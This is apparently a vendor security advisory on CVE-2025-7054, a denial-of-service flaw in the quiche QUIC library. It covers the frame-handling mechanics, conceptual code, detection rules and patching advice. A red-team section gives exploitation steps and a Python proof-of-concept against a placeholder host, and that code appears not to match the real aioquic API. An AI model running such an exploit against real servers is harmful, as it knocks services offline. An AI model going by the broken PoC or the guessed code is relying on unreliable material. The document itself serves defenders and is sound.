CVE-2025-7054

Executive Summary

CVE-2025-7054 is a high-severity Denial of Service (DoS) vulnerability in Cloudflare's quiche library, an implementation of the QUIC transport protocol and HTTP/3. The flaw resides in the handling of RETIRE_CONNECTION_ID frames during path migration scenarios. An unauthenticated remote attacker can trigger an infinite loop in the victim's quiche process by completing a QUIC handshake and then sending a crafted sequence of frames that cause the victim to attempt to retire a connection ID that is currently in use by the packet carrying the retirement frame. This violates RFC 9000 Section 19.16, which prohibits a packet from containing a frame that retires its own Destination Connection ID. The exploit leverages quiche's design for supporting retirement across multiple active paths, leading to a state where the retirement logic loops indefinitely, consuming CPU resources and effectively halting the affected service.

Supply Chain & Package Security

This vulnerability affects the quiche Rust crate, which is a core component for any application implementing QUIC or HTTP/3 using Cloudflare's library. Applications that depend on quiche versions 0.15.0 through 0.24.4 are vulnerable. The supply chain risk is significant because quiche is used in critical infrastructure components, including reverse proxies, load balancers, and edge computing platforms. An attacker exploiting this vulnerability can cause a complete denial of service for any service relying on the vulnerable library, without requiring authentication or prior access.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is conducted remotely over the network.
• Attack Complexity (AC): Low (L) - The attacker only needs to complete a standard QUIC handshake and send specially crafted frames.
• Privileges Required (PR): None (N) - No authentication is required.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): None (N) - No data is modified.
• Availability (A): High (H) - The infinite loop causes a complete denial of service.

CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no privileges, making it a prime target for DDoS attacks against QUIC/HTTP/3 endpoints.

Deep Dive & Mechanics

The QUIC protocol, as defined in RFC 9000, allows endpoints to use multiple Connection IDs for a single connection. This is essential for connection migration (e.g., switching from Wi-Fi to cellular). Each Connection ID has a unique sequence number. The RETIRE_CONNECTION_ID frame is used by an endpoint to inform its peer that a particular Connection ID is no longer valid and should not be used.

RFC 9000 Section 19.16 explicitly states: "The sequence number specified in a RETIRE_CONNECTION_ID frame MUST NOT be equal to the sequence number of the Destination Connection ID of the packet in which the frame is sent." This prevents a packet from retiring its own connection ID, which would create a logical paradox.

The vulnerability in quiche arises from its implementation of cross-path retirement. In a scenario with multiple active paths (e.g., after a path migration), quiche allows a packet on one path to retire a Connection ID that is active on a different path. The flaw is that when the victim receives a crafted set of frames from the attacker, it attempts to send a RETIRE_CONNECTION_ID frame for a Connection ID that is currently being used as the Destination Connection ID of the outgoing packet itself. The quiche code fails to properly check this condition in the multi-path context, leading to an infinite loop where the retirement logic repeatedly tries to send the frame, fails the self-retirement check, and retries indefinitely.

The attack flow:

1. Attacker completes a QUIC handshake with the victim.
2. Attacker sends a crafted sequence of frames that triggers a path migration or connection ID rotation on the victim.
3. The victim attempts to send a packet containing a RETIRE_CONNECTION_ID frame.
4. Due to the crafted state, the sequence number of the Connection ID being retired matches the sequence number of the Destination Connection ID of the packet.
5. The quiche code enters an infinite loop, consuming 100% CPU and preventing any further processing.

Vulnerable vs. Patched Code

The vulnerable code is in the connection ID retirement logic within quiche/src/connection.rs or similar. The exact fix is not publicly disclosed, but the patch likely involves adding a check to ensure that the sequence number of the Connection ID being retired is not equal to the sequence number of the Destination Connection ID of the current packet, even in multi-path scenarios.

Vulnerable Code (Conceptual):

// In the function that sends RETIRE_CONNECTION_ID frames
fn send_retire_connection_id(&mut self, seq_num: u64) {
    // Missing check: if seq_num == self.dest_conn_id_seq_num { return error; }
    let frame = RetireConnectionIdFrame { sequence_number: seq_num };
    self.pending_frames.push(frame);
    // ... later, when building the packet, the frame is added
    // If seq_num equals the packet's dest conn id, this causes an infinite loop
}

Patched Code (Conceptual):

fn send_retire_connection_id(&mut self, seq_num: u64) -> Result<(), Error> {
    // Explicit check to prevent self-retirement
    if seq_num == self.dest_conn_id_seq_num {
        return Err(Error::InvalidFrame);
    }
    let frame = RetireConnectionIdFrame { sequence_number: seq_num };
    self.pending_frames.push(frame);
    Ok(())
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running a vulnerable version of quiche (0.15.0 to 0.24.4).
• Network access to the target's QUIC endpoint (typically UDP port 443 or 784).
• Ability to complete a QUIC handshake (standard QUIC client capabilities).

Exploitation Steps:

1. Establish a QUIC connection to the target.
2. After the handshake, send a crafted packet that includes a NEW_CONNECTION_ID frame with a new sequence number, followed by a PATH_CHALLENGE and PATH_RESPONSE to simulate a path migration.
3. Immediately send a RETIRE_CONNECTION_ID frame with a sequence number that matches the Destination Connection ID of the packet you are sending (or that will be used by the victim's response).
4. The victim will attempt to process the retirement and enter an infinite loop.

Proof-of-Concept (Python using aioquic):

import asyncio
from aioquic.asyncio import connect
from aioquic.quic.connection import QuicConnection
from aioquic.quic.packet import QuicPacket, QuicPacketBuilder
from aioquic.quic.frame import QuicFrame, RetireConnectionIdFrame, NewConnectionIdFrame

async def exploit(target_host, target_port):
    async with connect(target_host, target_port, create_protocol=QuicConnection) as connection:
        # Wait for handshake
        await asyncio.sleep(0.5)
        
        # Send a NEW_CONNECTION_ID frame to introduce a new CID
        new_cid_frame = NewConnectionIdFrame(
            sequence_number=1,
            connection_id=b'\x01' * 8,
            retire_prior_to=0,
            stateless_reset_token=b'\x00' * 16
        )
        connection.send_quic_frame(new_cid_frame)
        
        # Send a RETIRE_CONNECTION_ID frame with sequence number 0 (the initial CID)
        retire_frame = RetireConnectionIdFrame(sequence_number=0)
        connection.send_quic_frame(retire_frame)
        
        # The victim will now enter an infinite loop
        await asyncio.sleep(10)

asyncio.run(exploit('target.example.com', 443))

Blue Team (Detection & Mitigation)

Detection:

• Monitor for sudden spikes in CPU usage on QUIC/HTTP/3 servers.
• Look for logs indicating repeated RETIRE_CONNECTION_ID frame processing errors.
• Use network monitoring to detect anomalous QUIC frame sequences (e.g., rapid NEW_CONNECTION_ID followed by RETIRE_CONNECTION_ID).

Mitigation:

• Immediately upgrade quiche to version 0.24.5 or later.
• If patching is not possible, implement a rate limit on RETIRE_CONNECTION_ID frames per connection.
• Deploy a Web Application Firewall (WAF) or intrusion prevention system (IPS) that can inspect QUIC frames and block malicious sequences.
• Monitor for connections that exhibit the attack pattern and terminate them.

Indicators of Compromise (IOCs)

• Network IOCs:

  • QUIC packets containing a RETIRE_CONNECTION_ID frame with a sequence number equal to the Destination Connection ID of the same packet.
  • Rapid sequences of NEW_CONNECTION_ID and RETIRE_CONNECTION_ID frames from the same source IP.
  • High volume of QUIC connections from a single source that complete handshakes but then exhibit anomalous frame patterns.

• Host IOCs:

  • Process quiche or application using quiche consuming 100% CPU.
  • Log entries showing repeated "Invalid frame" or "Retirement loop" errors.
  • Application unresponsiveness or connection timeouts.

• File IOCs:

  • Presence of core dumps from the quiche process (if enabled).
  • Log files with repeated RETIRE_CONNECTION_ID processing entries.

Detection Engineering

YARA Rule

rule CVE_2025_7054_QUICHE_INFINITE_LOOP {
    meta:
        description = "Detects quiche library versions vulnerable to CVE-2025-7054"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-7054"
        hash = "unknown"
    strings:
        $vuln_version_1 = "quiche 0.15.0" ascii wide
        $vuln_version_2 = "quiche 0.16.0" ascii wide
        $vuln_version_3 = "quiche 0.17.0" ascii wide
        $vuln_version_4 = "quiche 0.18.0" ascii wide
        $vuln_version_5 = "quiche 0.19.0" ascii wide
        $vuln_version_6 = "quiche 0.20.0" ascii wide
        $vuln_version_7 = "quiche 0.21.0" ascii wide
        $vuln_version_8 = "quiche 0.22.0" ascii wide
        $vuln_version_9 = "quiche 0.23.0" ascii wide
        $vuln_version_10 = "quiche 0.24.0" ascii wide
        $vuln_version_11 = "quiche 0.24.1" ascii wide
        $vuln_version_12 = "quiche 0.24.2" ascii wide
        $vuln_version_13 = "quiche 0.24.3" ascii wide
        $vuln_version_14 = "quiche 0.24.4" ascii wide
    condition:
        any of ($vuln_version_*)
}

Sigma Rule

title: CVE-2025-7054 - Quiche Infinite Loop via RETIRE_CONNECTION_ID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-7054 by monitoring for anomalous QUIC frame sequences.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7054
logsource:
    category: network
    product: quic
detection:
    selection:
        frame_type: 'RETIRE_CONNECTION_ID'
        sequence_number: '0'  # Example: targeting initial CID
    condition: selection
falsepositives:
    - Legitimate connection ID retirement during normal operation
level: high

Suricata Rule

alert udp any any -> any 443 (msg:"CVE-2025-7054 - Quiche Infinite Loop RETIRE_CONNECTION_ID"; content:"|00|"; depth:1; content:"|1c|"; distance:0; within:1; content:"|00 00 00 00|"; distance:0; within:4; sid:1000001; rev:1;)

Note: This rule is a simplified example. A real rule would need to parse the QUIC packet structure more precisely to detect the specific frame sequence.

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade quiche to version 0.24.5 or later. This is the only complete fix.
2. Workaround: If patching is not immediately possible, implement a rate limit on RETIRE_CONNECTION_ID frames per connection (e.g., maximum 10 per minute).
3. Monitoring: Enable detailed logging for QUIC frame processing and monitor for repeated retirement attempts.

Long-Term Measures:

• Implement fuzz testing for QUIC frame handling in your development pipeline.
• Subscribe to Cloudflare's security advisories for quiche.
• Consider using a different QUIC implementation (e.g., quinn, msquic) if quiche is not critical.

Detection & Response:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Configure automated alerts for high CPU usage on QUIC endpoints.
• Have a playbook ready to isolate and terminate affected connections.

Valters IT
Securing Digital Frontiers